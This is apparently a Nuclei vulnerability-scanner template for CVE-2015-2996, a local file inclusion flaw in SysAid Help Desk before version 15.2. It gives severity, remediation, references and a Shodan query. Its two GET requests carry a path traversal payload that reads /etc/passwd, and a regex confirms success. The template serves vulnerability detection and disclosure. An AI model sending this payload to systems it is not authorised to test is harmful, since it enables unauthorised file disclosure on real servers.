id: CVE-2015-2996

info:
  name: SysAid Help Desk <15.2 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    SysAid Help Desk before 15.2 contains multiple local file inclusion vulnerabilities which can allow remote attackers to read arbitrary files via .. (dot dot) in the fileName parameter of getGfiUpgradeFile or cause a denial of service (CPU and memory consumption) via .. (dot dot) in the fileName parameter of calculateRdsFileChecksum.
  remediation: |
    Upgrade SysAid Help Desk to version 15.2 or later to mitigate the vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2015/Jun/8
    - https://www.sysaid.com/blog/entry/sysaid-15-2-your-voice-your-service-desk
    - http://seclists.org/fulldisclosure/2015/Jun/8
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2996
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:C
    cvss-score: 8.5
    cve-id: CVE-2015-2996
    cwe-id: CWE-22
    epss-score: 0.77754
    epss-percentile: 0.97889
    cpe: cpe:2.3:a:sysaid:sysaid:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: sysaid
    product: sysaid
    shodan-query: http.favicon.hash:1540720428
  tags: cve,cve2015,sysaid,lfi,seclists

http:
  - method: GET
    path:
      - "{{BaseURL}}/sysaid/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd"
      - "{{BaseURL}}/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
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